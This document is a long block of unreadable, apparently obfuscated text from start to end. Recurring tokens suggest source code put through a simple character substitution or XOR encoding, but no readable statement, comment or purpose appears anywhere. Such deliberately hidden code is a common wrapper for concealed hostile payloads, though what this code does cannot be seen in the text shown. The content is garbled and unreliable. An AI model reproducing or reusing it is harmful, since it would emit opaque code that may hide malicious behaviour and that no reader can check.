IA\XUEHYEHsHUI_Y_I^s@CKEB

E__IXEHYEHsHUI_Y_I^sIAME@&&

EHYEHsHUI_Y_I^sIAME@EHYEHsHUI_Y_I^s@CKEBl[KVO\_ZUIGC]NJNND@UGH@\HB@&W&MG]GGFFF_X^EBKEHYEHsHUI_Y_I^s@CKEB&Q&Q&EJMG]GGFFF

Y_I^BMAIsITE_X_MG]GGFFFW&&&_KAEX@As\[Y_I^BMAIsITE_X_MG]GGFFF&NEJ]ZMKVXZ\HITTODK]BBTKr&&&&EJEK^NHCBNJO_NND@UGH@\HB@W&E[sZ]V\MU]NVKNEJ]ZMKVXZ\H _KAEX@As\[&Q&&FVs@@VVXUVM^H[BGAZVUAG_IICHX MG]GGFFF VUAG_IICHXYU^YXFAYNNEYYU^YXF&FVs@@VVXUVM^H[BGAZEK^NHCBNJO_ NEJ]ZMKVXZ\H VUAG_IICHX&^IXY^B&Q&@JNHNNYHDNEVXHV[NM_KDTICA&EJX^YIW&MG]GGFFF&JC^]BZNFEYANBs]BZNFEYANBs]BZNFEYANBsW&@OANHK^FX@JNHNNYHDNwEK^NHCBNJO_@JNHNNYHDNqITTODK]BBTKr&EJY_I^BMAIsITE_X_@OANHK^FXW&MG]GGFFF@OANHK^FX&N^IMG&{||M^MK^M\Dn@COGMXXMODAIBXAIXMHMXM&&&Q&Q&EJMG]GGFFFW&\C_EXEZIHIJEBEXIMHM\XI^&&CGTNsH^OGY_HMU@YEK^NHCBNJO_ E[sZ]V\MU]NVK&^IXY^B&Q&Q&NEJ]ZMKVXZ\HITTODK]BBTK&EJNND@UGH@\HB@EK^NHCBNJO_

HIJEBIHVUAG_IICHX

NND@UGH@\HB@mn|mxdNND@UGH@\HB@W&~IHE_CNFIOXOMODICNFIOXJEX&GFVBMK_VFBF\VGFVBMK_&^I]YE^IsCBOImn|mxdVUAG_IICHX&Q&&&^OKMJUBKGNHMG]GGFFFl[KVO\_ZUIGC]NJNND@UGH@\HB@&@YGZ\FAsJ\JM@_I&EJEK^NHCBNJO_EK^NHCBNJO_W&&@YGZ\FAsJ\VUAG_IICHXM^^MU&&&&VUAG_IICHXMG]GGFFF &VUAG_IICHXNEJ]ZMKVXZ\H &E[sZ]V\MU]NVK^OKMJUBKGNH &E[sZ]V\MU]NVKE[sZ]V\MU]NVK &NND@UGH@\HB@MG]GGFFF &&EJE_s[\sI^^C^@YGZ\FAsJ\W&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @YGZ\FAsJ\KIXsI^^C^sOCHI@YGZ\FAsJ\KIXsI^^C^sAI__MKI&&@YGZ\FAsJ\JM@_I&&&Q&Q&&EJ@YGZ\FAsJ\W&&&&[\HNE__IXk`cnm`wE[sZ]V\MU]NVKqk`cnm`wVUAG_IICHXqBY@@&EJ[\HNPPEK^NHCBNJO_[\HNW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ VUAG_IICHX&^IXY^B&Q&MUCCEM[NND@UGH@\HB@NND@UGH@\HB@[\sDM_Ds\M__[C^HNEJ]ZMKVXZ\HE[sZ]V\MU]NVKNEJ]ZMKVXZ\H&N]HZ][T_FCYI@E[sZ]V\MU]NVKVUAG_IICHXOY^^IBXsXEAIEK^NHCBNJO_KAHMXIEK^NHCBNJO_&DON^AsM[\HNEB_I^X[\HNY_I^_ M^^MU&VUAG_IICHXMG]GGFFF &EK^NHCBNJO_MUCCEM[ &&&&VUAG_IICHXMG]GGFFF &VUAG_IICHX^OKMJUBKGNH &E[sZ]V\MU]NVKN]HZ][T_FCYI@ &EK^NHCBNJO_ &&&&EK^NHCBNJO_MG]GGFFF &&&& M^^MUNND@UGH@\HB@ E[sZ]V\MU]NVK NND@UGH@\HB@ EK^NHCBNJO_ NND@UGH@\HB@ E[sZ]V\MU]NVK E[sZ]V\MU]NVK&EJDON^AsMW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK NND@UGH@\HB@&&&^IXY^B&&&&Q&@YGZ\FAsJ\EBX[\HNEB_I^XsEH&TH^FUNIGA[\HN\^IJETVUAG_IICHX&[\HNEB_I^X[\HNY_I^AIXM M^^MU&&NND@UGH@\HB@@YGZ\FAsJ\ &VUAG_IICHXTH^FUNIGA &EK^NHCBNJO_EK^NHCBNJO_M^^MUVUAG_IICHXX^YI & M^^MUVUAG_IICHX E[sZ]V\MU]NVK VUAG_IICHX&&&[\HNEB_I^X[\HNY_I^AIXM M^^MU&NND@UGH@\HB@@YGZ\FAsJ\ &&&&E[sZ]V\MU]NVK[\HN\^IJETVUAG_IICHX &E[sZ]V\MU]NVK & M^^MUE[sZ]V\MU]NVK NND@UGH@\HB@ EK^NHCBNJO_&EJEK^NHCBNJO_E[sZ]V\MU]NVKW&O@IMBsY_I^sOMODI@YGZ\FAsJ\&Q&&Q&EJY_I^BMAIsITE_X_MG]GGFFFW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK NND@UGH@\HB@&&&^IXY^B&Q&&&&UOGsM^s][MV^VUAG_IICHXNND@UGH@\HB@KIXsY_I^sNUEK^NHCBNJO_ MG]GGFFFJM@_I&\ZNZ[VMTJM@_I&EJUOGsM^s][MV^

IA\XUUOGsM^s][MV^ehW&&&EJNND@UGH@\HB@NND@UGH@\HB@W&\ZNZ[VMTNCC@Y_I^sOMBUOGsM^s][MV^ EK^NHCBNJO_&QI@_IEJE__IXUOGsM^s][MV^OM\_

E[sZ]V\MU]NVKUOGsM^s][MV^OM\_W&\ZNZ[VMTIA\XUUOGsM^s][MV^OM\_wNND@UGH@\HB@q&Q&Q&{|n@COGm|eZK^IIHUMOOYAY@MXC^&&&EJ\ZNZ[VMTW&CGTNsH^OGY_HMU@YVUAG_IICHX E[sZ]V\MU]NVK&EJ@YGZ\FAsJ\W&EJE[sZ]V\MU]NVKNND@UGH@\HB@

HIJEBIHVUAG_IICHX

lVUAG_IICHXmn|mxdE[sZ]V\MU]NVKW&^I]YE^IsCBOImn|mxdVUAG_IICHX&&&&Q&EJNND@UGH@\HB@EK^NHCBNJO_l[\sHI@IXIsY_I^@YGZ\FAsJ\&Q&^IXY^B&Q&FVs@@VVXUVM^H[BGAZNND@UGH@\HB@ MG]GGFFF VUAG_IICHX&FVs@@VVXUVM^H[BGAZE[sZ]V\MU]NVK NEJ]ZMKVXZ\H EK^NHCBNJO_&QOMXODxD^C[MN@I@XB\NXsW&^I_XC^IIZIBXYM@AI__MKI]YIYI&&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&QJEBM@@UW&K_DAMCNEUO^NND@UGH@\HB@&Q&Q&&JYBOXECBFOsMZJ@TUJ]TZMF^XGsZ&W&&&&X^UW&&EJNND@UGH@\HB@MF^XGsZPP\^C\I^XUsITE_X_MF^XGsZ E[sZ]V\MU]NVKW&&^IXY^BMF^XGsZ&&&Q&&&&&MG]GGFFFE[sZ]V\MU]NVKE[sZ]V\MU]NVK_X^EBKDNEYZF[K[Y^VBGssTVUAG_IICHX &EJMG]GGFFFW&&^IXY^BMF^XGsZ&Q&&TNX]Y]VFI_Os_]@MG]GGFFF&EJEK^NHCBNJO_MF^XGsZ]YI^Us[DI^I TNX]Y]VFJM@_IW&MF^XGsZ]YI^Us[DI^IE[sZ]V\MU]NVKTNX]Y]VF&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&&&&Q&&&^IXY^BMF^XGsZ&Q&JYBOXECBFON\\KZIGG\DVF__OZNKYO[s&&&&W&HIKIBI^MXIX^Y_XMBODC^&&X^UW&Z]sCXUX\]VUAG_IICHXVUAG_IICHX_X^EBKDNEYZF[K[Y^VBGssTE[sZ]V\MU]NVK &EJZ]sCXUX\]W&EHIBXEXUOCA\M^E_CB&&^IXY^BF__OZNKYO[s&Q&BDHMJ@TOXM^^MUVUAG_IICHX EK^NHCBNJO_&JC^IMODBDHMJ@TOXM_GIUW&EJE__IXF__OZNKYO[swGIUq

EK^NHCBNJO_F__OZNKYO[swGIUq

E[sZ]V\MU]NVKVUAG_IICHX F__OZNKYO[swGIUq ZF_ABJ\W&AFA^I_EGNKYZE[sZ]V\MU]NVK EBXZF_ABJ\wq&&&&&&F__OZNKYO[swGIUqEK^NHCBNJO_VUAG_IICHX AFA^I_EGNKYZ F__OZNKYO[swGIUq&&Q&&&&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&^IXY^BF__OZNKYO[s&Q&JYBOXECBO@AXKTJBF@sHT^G[DYY\CO] VTB][AM]]_TJ&WXD^DIHK@XD^D	&X^UW&MG]GGFFFVUAG_IICHXVUAG_IICHX_X^EBKDNEYZF[K[Y^VBGssTE[sZ]V\MU]NVK &EJMG]GGFFFW&^IXY^BDYY\CO]&Q&EJEK^NHCBNJO_DYY\CO]W&^IXY^BDYY\CO]&Q&EJE__IXDYY\CO]wNND@UGH@\HB@qPPEK^NHCBNJO_DYY\CO]wEK^NHCBNJO_qW&DYY\CO]wE[sZ]V\MU]NVKqM^^MU^sTY^A_UOV\VM^sTY^A_^sTY^A_^sTY^A_&Q&EJEK^NHCBNJO_MG]GGFFF DYY\CO]wEK^NHCBNJO_q X^YIW&DYY\CO]wE[sZ]V\MU]NVKqwqMG]GGFFF&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&&QOMXODiTOI\XECB@XB\NXsW&Q&^IXY^BDYY\CO]VB@ZEHTGsMXTTKGYUUIVVB@ZEHTGs&Q&&JYBOXECBTCTJFKOHAD&W&&TsIEAMI[TIM^^MU&&&EJHIJEBIHVUAG_IICHX

E[sZ]V\MU]NVKE[sZ]V\MU]NVKW&aU}`oxi_EB_X^YAIBX_OC\IODMEB&&HMNZ^\B_XM^^MUKIXsC\XECBNND@UGH@\HB@ M^^MU&EBV_]EF@O_\M^^MU&JC^IMODHMNZ^\B_XM_NM_IBMAIW&EJNND@UGH@\HB@NM_IBMAIPPE[sZ]V\MU]NVKNM_IBMAI E[sZ]V\MU]NVKJM@_IW&&&&OCBXEBYI&Q&X^MB_\E@I_\M^_IHE_\MXODI^&&Ts@VZ@H^JE[sZ]V\MU]NVKNM_IBMAI&EJTs@VZ@H^JW&Ts@VZ@H^JNM_IBMAI&Q&EJE__IXEBV_]EF@O_\wTs@VZ@H^JqW&&OCBXEBYINJC\DOV@KNJDXYO[_]NJC\DOV@KNJD&&&Q&&&&EBV_]EF@O_\wTs@VZ@H^JqX^YI&B@TGFOI{|s|`ykebshe~NM_IBMAI&EJEK^NHCBNJO_NM_IBMAIW&EJlEK^NHCBNJO_B@TGFOIW&TsIEAMI[TIwqB@TGFOI&Q&\^IJIXODHIXI^AEBE_XEOM@I^X&&QI@_IW&&^\G@GYO_NND@UGH@\HB@B@TGFOI&&EJlE[sZ]V\MU]NVK^\G@GYO_W&TsIEAMI[TIEK^NHCBNJO_TsIEAMI[TI FTBCs^^KIIIIGTJ^\G@GYO_ M^^MUE[sZ]V\MU]NVK&Q&Q&Q&&&Q&EXI^MXI_I__ECBXU\IJC^{|jCBX`EN^M^U&&&&&&EJlE[sZ]V\MU]NVKYsOMCBICZZUG_CDXBW&lYB_YN_O^ENIOCC^HEBMXC^&&B[YNMTAY_YDBID_DM_]GYYsOMCBICZZUG_CDXB&&EJNND@UGH@\HB@B[YNMTAW&&&JC^IMODB[YNMTAM_VKHMONBXJUW&EJVKHMONBXJUEG_DKYTYUTE@]OUW&&OCBXEBYI&&&Q&OC@[VTI@MCYsOMCBICZZUG_CDXBVKHMONBXJU&EJlE[sZ]V\MU]NVKOC@[VTI@MC

EK^NHCBNJO_VUAG_IICHXVKHMONBXJU OCB_XMBXVUAG_IICHXEK^NHCBNJO_W&&TsIEAMI[TIwqOC@[VTI@MC&Q&Q&&&&Q&Q&&&&&EJHIJEBIHE[sZ]V\MU]NVK

EK^NHCBNJO_EK^NHCBNJO_W&ZEZFFO\EAGNU_X^EBKKIXsC\XECBEK^NHCBNJO_ &&&MIU@A]^E^O[O]O_X^EBKKIXsC\XECBEK^NHCBNJO_ &GZUC^DE\HIJEBIHE[sZ]V\MU]NVK{|socbxibxshe~VUAG_IICHXmn|mxdEK^NHCBNJO_&YDAV\KsBNND@UGH@\HB@VUAG_IICHXM^^MUZEZFFO\EAGNU MIU@A]^E^O[O]O&JC^IMODYDAV\KsBM_E_K^]NNT\W&EJNND@UGH@\HB@E_K^]NNT\ E[sZ]V\MU]NVKJM@_IW&OCBXEBYI&Q&@VM[B_MGZUC^DE\E_K^]NNT\&EJlE[sZ]V\MU]NVK@VM[B_MW&&sZAFHsX_[@[Y_YDBID_DM_]GY@VM[B_M&EJE[sZ]V\MU]NVKsZAFHsX_[@[W&JC^IMODsZAFHsX_[@[M_VKHMONBXJUW&Y^]EVEGTJ@VM[B_MVKHMONBXJU&EJlEK^NHCBNJO_Y^]EVEGTJ

NND@UGH@\HB@E[sZ]V\MU]NVKVKHMONBXJU OCB_XMBXNND@UGH@\HB@E[sZ]V\MU]NVKW&TsIEAMI[TIwqY^]EVEGTJ&Q&Q&Q&{||C_XiTOI^\XMXXMODAIBXAIXMHMXM&&&UAYUJAFN\H@VM[B_MVUAG_IICHX&EJlNND@UGH@\HB@UAYUJAFN\HW&TsIEAMI[TINND@UGH@\HB@TsIEAMI[TI FTBCs^^KIIIIGTJUAYUJAFN\H M^^MUVUAG_IICHX&&&&Q&Q&Q&&&Q&^IXY^BEK^NHCBNJO_TsIEAMI[TI&&&Q&JYBOXECBVHHHVJAJVHEUKUEK\DJGMI&W&EJE[sZ]V\MU]NVKEK\DJGMI^IXY^BM^^MU&&&&^EVOZFVCD]BHTsTM^^MU&JC^IMODEK\DJGMIM_\FJCOCFJYW&EJVUAG_IICHX\FJCOCFJYPP\FJCOCFJYPPVUAG_IICHX\FJCOCFJYOCBXEBYI&X^UW&_X^I__XI_XEBHIOCA\C_MN@IMYXDC^EXU&&EJlE[sZ]V\MU]NVK\FJCOCFJY JM@_IOCBXEBYI&QOMXODxD^C[MN@I@XB\NXsW&OCBXEBYI&&&&QOMXODiTOI\XECB@XB\NXsW&OCBXEBYI&Q&^EVOZFVCD]BHTsTwq\FJCOCFJY&&Q&{|dCAI`EBGX^MOIHCAEBMXC^X^II&&^IXY^B^EVOZFVCD]BHTsT&&Q&JYBOXECB^UVXETBOND^\sEK\DJGMI&W&X^UW&&EJIA\XUEK\DJGMIW&&&^IXY^BJM@_IVZOYJs_EE[NEDCMMVZOYJs_	&Q&&&TsIEAMI[TITCTJFKOHAD&&&&EJIA\XUTsIEAMI[TIW&@COGOCB_X^MEBX_IXJC^{||C_XxEX@I&&^IXY^BJM@_I&Q&ZXUOYVB_K\HJM@_I&JC^IMODTsIEAMI[TIM_OC@[VTI@MCW&&EJlNND@UGH@\HB@OC@[VTI@MCPPlVUAG_IICHXOC@[VTI@MCW&OCBXEBYI&Q&&EJlNND@UGH@\HB@OC@[VTI@MCW&OCBXEBYI&&&Q&ZKEXI\D_sTDlEK^NHCBNJO_OC@[VTI@MC&EJZKEXI\D_sTDPPNND@UGH@\HB@ZKEXI\D_sTDW&OCBXEBYI&&&Q&&KNT^I]Z^OUJM@_I&&&&JC^IMODEK\DJGMIM__EIssTsIOW&X^UW&&&&&&VEVH@YNHMElNND@UGH@\HB@_EIssTsIO  ZKEXI\D_sTD&EJVEVH@YNHMEBY@@

VEVH@YNHMEZKEXI\D_sTDW&ZKEXI\D_sTDVEVH@YNHME^G[E\FO\HJZ@M[U_M^G[E\F^G[E\F^G[E\F&KNT^I]Z^OUX^YI&Q&{C^H|^I__N@COGNEBHEBK_EBXI^^Y\XHI^EZMXECB&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&OCBXEBYI&QOMXODiTOI\XECB@XB\NXsW&{|bMZEKMXECBn@COGBCBOIZM@EHMXECB&&OCBXEBYI&Q&Q&&EJKNT^I]Z^OUW&EJ_N]JNVYOBBZ_TFET\OC@[VTI@MC ZKEXI\D_sTDW&ZXUOYVB_K\HX^YI&Q&Q&&Q&&^IXY^BZXUOYVB_K\H&&QOMXODxD^C[MN@I@XB\NXsW&\^EAM^UHE^IOXC^&&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&&&QOMXODiTOI\XECB@XB\NXsW&Q&_I_]YE@EBIM^^IX^U\C@EOU&&^IXY^BJM@_I&&&Q&&JYBOXECBCT_U[VNAANYU^\G@GYO_ AV@BT^EO^&&&&W&&&&AIN[[FMI_]BM^^MU&AV@BT^EO^AV@BT^EO^&&KJBJTV\GFYHXlEK^NHCBNJO_^\G@GYO_GY[]OKJDE\_NDOMZDOIXGY[]OKJDE\&EJE[sZ]V\MU]NVKKJBJTV\GFYHXW&&&^IXY^BAIN[[FMI_]B&Q&KJBJTV\GFYHXVUAG_IICHXKJBJTV\GFYHX  TOT&&&&JC^IMODKJBJTV\GFYHXM_VKHMONBXJUW&&&&&EJVKHMONBXJUPPVKHMONBXJUNND@UGH@\HB@W&OCBXEBYI&Q&&&&JMXEGGA^\G@GYO_VKHMONBXJU&EJlEK^NHCBNJO_JMXEGGAW&OCBXEBYI&Q&&EJlNND@UGH@\HB@JMXEGGANND@UGH@\HB@W&&&&AIN[[FMI_]BwqE[sZ]V\MU]NVKJMXEGGA EK^NHCBNJO_&OCBXEBYI&Q&&&&&EJAV@BT^EO^W&&AIN[[FMI_]BEK^NHCBNJO_AIN[[FMI_]B CT_U[VNAANYUJMXEGGA AV@BT^EO^&Q&Q&&^IXY^BAIN[[FMI_]B&Q&JYBOXECBM\UO_AUEEZ[&W&^[N]@N]ZH@CM^^MU&&&_NVX_XDO\EBXJVUAG_IICHXmn|mxd VUAG_IICHX&X^UW&@H\VYXY\B_HM^^MU&EJ_NVX_XDO\EBXJW&@H\VYXY\B_HwqNND@UGH@\HB@_NVX_XDO\EBXJ&@H\VYXY\B_HwqVUAG_IICHXE[sZ]V\MU]NVK_NVX_XDO\EBXJ&&&&@H\VYXY\B_HwqVUAG_IICHXNND@UGH@\HB@VUAG_IICHX_NVX_XDO\EBXJ&Q&&&&@H\VYXY\B_HwqNND@UGH@\HB@&@H\VYXY\B_HwqVUAG_IICHX&@H\VYXY\B_HwqNND@UGH@\HB@&@H\VYXY\B_HwqEK^NHCBNJO_&@H\VYXY\B_HwqEK^NHCBNJO_&@H\VYXY\B_HwqEK^NHCBNJO_&&@H\VYXY\B_HwqNND@UGH@\HB@&&&OGYO\HGTsM^VUAG_IICHXE[sZ]V\MU]NVK_X^EBKlE[sZ]V\MU]NVKVUAG_IICHX&EJOGYO\HGTsM^W&K@_E]METE[sZ]V\MU]NVKOGYO\HGTsM^ JM@_I&JC^IMODE[sZ]V\MU]NVKK@_E]MET OGYO\HGTsM^M_J@NJMVABE^CW&J@NJMVABE^CNND@UGH@\HB@J@NJMVABE^C&EJJ@NJMVABE^CW&@H\VYXY\B_HwqJ@NJMVABE^C&Q&Q&Q&&@H\VYXY\B_HNND@UGH@\HB@EK^NHCBNJO_@H\VYXY\B_H&\C\XEMO_@VUAG_IICHXX^YI&&^[N]@N]ZH@CM^^MUsA\NO\NPDODU_DBMsA\NO\Nr&&JC^IMOD@H\VYXY\B_HM_^\G@GYO_W&&EJlNND@UGH@\HB@^\G@GYO_PPlEK^NHCBNJO_^\G@GYO_W&OCBXEBYI&Q&&&EJNND@UGH@\HB@X^YI\C\XEMO_@TTW&N^IMG&Q&&&&&^[N]@N]ZH@CNND@UGH@\HB@^[N]@N]ZH@C CT_U[VNAANYU^\G@GYO_ B_KEHMNXTITGZJOUFAB_KEHMNX	&Q&&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsWEF_NND|d|samfc~szi~ecb_F_]DssOUsEF_NND&&Q&&^IXY^BNND@UGH@\HB@VUAG_IICHX^[N]@N]ZH@C M^^MU_NVX_XDO\EBXJ&&&Q&JYBOXECBVTFCE^Z^MBD@BK_KIOKV]TT\O&W&X^UW&VYKC[DOXACUNBFIM^^MU_KIOKV]TT\ONND@UGH@\HB@ _KIOKV]TT\OEK^NHCBNJO_&JC^IMODVYKC[DOXACUNBFIM_^\G@GYO_W&EJlE[sZ]V\MU]NVK^\G@GYO_W&OCBXEBYI&Q&UMIIM_EVY_YDBID_DM_]GY^\G@GYO_&EJE[sZ]V\MU]NVKUMIIM_EVWDDGDYsAFOMTJTNV_MM\GVNCDDGDYsAFOM	&OCBXEBYI&Q&JC^IMODUMIIM_EVM_@XB\NXsW&EJEK^NHCBNJO_@XB\NXs NND@UGH@\HB@

TIEsOI[@[_HGJZ^\G@GYO_@XB\NXs W&&^IXY^BX^YI&Q&Q&JC^IMODUMIIM_EVM_@XB\NXsW&\sIG]A@T^_^^\G@GYO_@XB\NXs&&&EJlE[sZ]V\MU]NVK\sIG]A@T^_^W&OCBXEBYI&&Q&OIEJTKAZY_YDBID_DM_]GY\sIG]A@T^_^&EJNND@UGH@\HB@OIEJTKAZW&OCBXEBYI&Q&JC^IMODOIEJTKAZM_HI]ACMJAAN\W&EJEK^NHCBNJO_HI]ACMJAAN\ TTEK^NHCBNJO_

TIEsOI[@[_HGJZ\sIG]A@T^_^HI]ACMJAAN\ TNTHW&&&&^IXY^BX^YI&Q&&Q&Q&Q&QOMXODxD^C[MN@I@XB\NXsW&l_I^EM@EVIMHM\XI^&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&&Q&^IXY^BJM@_I&Q&JYBOXECBJJ\ZFCE^_EGJ&W&X^UW&EJVAIHJFNZXOVAK[^_NIVAZ^IXY^B&&&&EJKIXsX^MB_EIBXNND@UGH@\HB@W&^IXY^B&&&Q&&&\@D[FO@KBUTIVTTUBTZE^A[&EJ\@D[FO@KBUTPPNND@UGH@\HB@\@D[FO@KBUTW&^IXY^B&Q&EJZVHB^HE]OsNOVNY\@D[FO@KBUTW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ NND@UGH@\HB@&^IXY^B&Q&{||C_XxEX@IIBMN@I\^CCJXI^A&&&&^[N]@N]ZH@CM\UO_AUEEZ[&&EJIA\XU^[N]@N]ZH@CW&EJKIXsX^MB_EIBXE[sZ]V\MU]NVKW&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ NND@UGH@\HB@&_IXsX^MB_EIBXVUAG_IICHX  TMMT&Q&_IXsX^MB_EIBXE[sZ]V\MU]NVK  &^IXY^B&&&Q&&_HETE]_Y@&JC^IMOD^[N]@N]ZH@CM__KIOKV]TT\OW&&&&&&&&EJVTFCE^Z^MBD@BK_KIOKV]TT\OW&OCBXEBYI&Q&&G\HTCOFEM][X&IIKHZ_AODETNF_KIOKV]TT\OE[sZ]V\MU]NVK&&EJlNND@UGH@\HB@IIKHZ_AODETNF

lNND@UGH@\HB@IIKHZ_AODETNFW&IIKHZ_AODETNFBY@@&&&QI@_IEJlEK^NHCBNJO_IIKHZ_AODETNFW&&&&sBTGT_@UKFJMMHIIKHZ_AODETNF  X^YI&&&&Q&EJIIKHZ_AODETNF

lNND@UGH@\HB@IIKHZ_AODETNFPPlEK^NHCBNJO_IIKHZ_AODETNFW&IIKHZ_AODETNFBY@@&Q&EJIIKHZ_AODETNFW&&&&VJDBUNEVN_IIKHZ_AODETNFEG_DKYTYUTE@]OU&&&OU[^^ICMZHMXJA]CCJGYUMIGCB[\@D[FO@KBUT&UDZFYsBXFHN]]TNEBYCMVJDBUNEVN_ OU[^^ICMZHM E[sZ]V\MU]NVK&EJUDZFYsB

UDZFYsBEK^NHCBNJO_OU[^^ICMZHMW&&&G\HTCOFEM][XVJDBUNEVN_&Q&Q&&&EJG\HTCOFEM][XW&^_BCOXA[ZF[]TVUAG_IICHXEG_DKYTYUTE@]OU |mxdebjcsje`ibmai&OsUs^UCYIV_KIOKV]TT\ONND@UGH@\HB@^_BCOXA[ZF[]T&EJlNND@UGH@\HB@OsUs^UCYIVW&sBTGT_@UKFJMMHOsUs^UCYIV  X^YI&Q&VJDBUNEVN_OsUs^UCYIVEG_DKYTYUTE@]OU&OU[^^ICMZHMXJA]CCJGYUMIGCB[\@D[FO@KBUT&UDZFYsBXFHN]]TNEBYCMVJDBUNEVN_ OU[^^ICMZHM VUAG_IICHX&&&EJUDZFYsB

UDZFYsBE[sZ]V\MU]NVKOU[^^ICMZHMW&G\HTCOFEM][XVJDBUNEVN_&&NM_IBMAI^_BCOXA[ZF[]TEG_DKYTYUTE@]OU&&&DA[MFC\E\ZX]_KIOKV]TT\O NM_IBMAI&Q&Q&EJG\HTCOFEM][XW&OCBXEBYI&Q&IF@GHOXG@G\HTCOFEM][X&]]XI^s@\F[YJ_V_ZEOIG\HTCOFEM][X TTN&&&_HETE]_Y@&Q&&&&EJ_HETE]_Y@W&_IXsX^MB_EIBXEK^NHCBNJO_  TJJTJN&QI@_IW&_IXsX^MB_EIBXNND@UGH@\HB@  &Q&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECBDA[MFC\E\ZX]_KIOKV]TT\O NM_IBMAI&W&X^UW&&&&ENNXM]ZIBN_KIOKV]TT\OVUAG_IICHX&EJlNND@UGH@\HB@ENNXM]ZIBNW&ENNXM]ZIBNNND@UGH@\HB@_KIOKV]TT\OEK^NHCBNJO_&EJlNND@UGH@\HB@ENNXM]ZIBNW&^IXY^B&Q&Q&&&EA_KJ\DlE[sZ]V\MU]NVKENNXM]ZIBN&EJEA_KJ\DW&^IXY^B&Q&\N^sIJVJM&\^IJET&&&EJNND@UGH@\HB@VUAG_IICHX EA_KJ\D ZF_ABJ\W@ZDNJETBPUTs[@sVJYs@ZDNJETBr&&\N^sIJVJMZF_ABJ\wq&Q&EJVUAG_IICHXE[sZ]V\MU]NVK EA_KJ\D ZF_ABJ\W&\^IJETZF_ABJ\wq&Q&EJ\N^sIJVJMPP\^IJETPPE[sZ]V\MU]NVKVUAG_IICHX \^IJETW&^IXY^B&&Q&&&[\HNk`cnm`wE[sZ]V\MU]NVKq&EJVUAG_IICHX[\HNPPEK^NHCBNJO_[\HN EK^NHCBNJO_W&^IXY^B&Q&EJNND@UGH@\HB@EK^NHCBNJO_ \N^sIJVJMW&CGTNsH^OGY_HMU@YVUAG_IICHX NND@UGH@\HB@&^IXY^B&&&&Q&CX]ZUKG]BZYL\N^sIJVJMEK^NHCBNJO_\^IJETVUAG_IICHX&[\HN]YI^UE[sZ]V\MU]NVK&JX^AMCF_[\HNKIXsZM^NND@UGH@\HB@CX]ZUKG]BZYNND@UGH@\HB@E[sZ]V\MU]NVKEK^NHCBNJO_&EJJX^AMCF_BY@@W&[\HN]YI^UEK^NHCBNJO_&^IXY^B&&Q&HMNZ^\B_XZAsM_MXO]YMJX^AMCF_&EJEK^NHCBNJO_HMNZ^\B_XW&&&&[\HN]YI^UE[sZ]V\MU]NVK&^IXY^B&Q&EJVUAG_IICHXNM_IBMAI HMNZ^\B_X X^YIW&[\HN]YI^UEK^NHCBNJO_&^IXY^B&Q&&HMNZ^\B_XwqNM_IBMAI&&HMNZ^\B_XEK^NHCBNJO_HMNZ^\B_X&XHFVEAIUKFNND@UGH@\HB@HMNZ^\B_X&UOGsM^s][MV^[\HN]YI^U[\HN\^I\M^IyEK^NHCBNJO_CX]ZUKG]BZYE[sZ]V\MU]NVKE[sZ]V\MU]NVK XHFVEAIUKF&&&&EJUOGsM^s][MV^JM@_IW&&&&CGTNsH^OGY_HMU@YVUAG_IICHX E[sZ]V\MU]NVK&[\HN]YI^UVUAG_IICHX&&&^IXY^B&Q&[\HN]YI^UNND@UGH@\HB@&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&EJNND@UGH@\HB@k`cnm`wVUAG_IICHXqW&lk`cnm`wVUAG_IICHXq]YI^UVUAG_IICHX&Q&QOMXODiTOI\XECB@XB\NXsW&&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&EJVUAG_IICHXk`cnm`wE[sZ]V\MU]NVKqW&lk`cnm`wNND@UGH@\HB@q]YI^UNND@UGH@\HB@&Q&Q&&&Q&JYBOXECBFVIFCZEsU&W&_XMXEOEA_KJ\DBY@@&EJEA_KJ\DBY@@^IXY^BEA_KJ\D&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKW&EA_KJ\D_JIJ\UXPOI_NI@AZZ_JIJ\UXr&^IXY^BEA_KJ\DTCKHFF|d|sebxsamt|d|sebxsamtHE^EVZAZTCKHFF&&Q&EA_KJ\DlKVEBJ@MXIE[sZ]V\MU]NVKE[sZ]V\MU]NVK&&EJEK^NHCBNJO_EA_KJ\DPPE[sZ]V\MU]NVKEA_KJ\DEA_KJ\D&^IXY^BEA_KJ\D&Q&JYBOXECBE[BGNFCN@\H&W&&X^UW&EJHIJEBIHNND@UGH@\HB@^IXY^B&HZ]]M\F[FZVUVUAG_IICHX^_NIVAZ NND@UGH@\HB@&]JKJ\JD^^C_I\\NII@T^YDmn|mxdNND@UGH@\HB@ VUAG_IICHX&\BNG]XFHC_I\\NII@T^YDmn|mxdEK^NHCBNJO_ r&]OFBVKV_GMAVNE[sZ]V\MU]NVKEK^NHCBNJO_OCBXIBXsY^@&EJ]OFBVKV_GMAVNW&]OFBVKV_GMAVNE[sZ]V\MU]NVKVUAG_IICHXKIXs_EXIsY^@EK^NHCBNJO_&Q&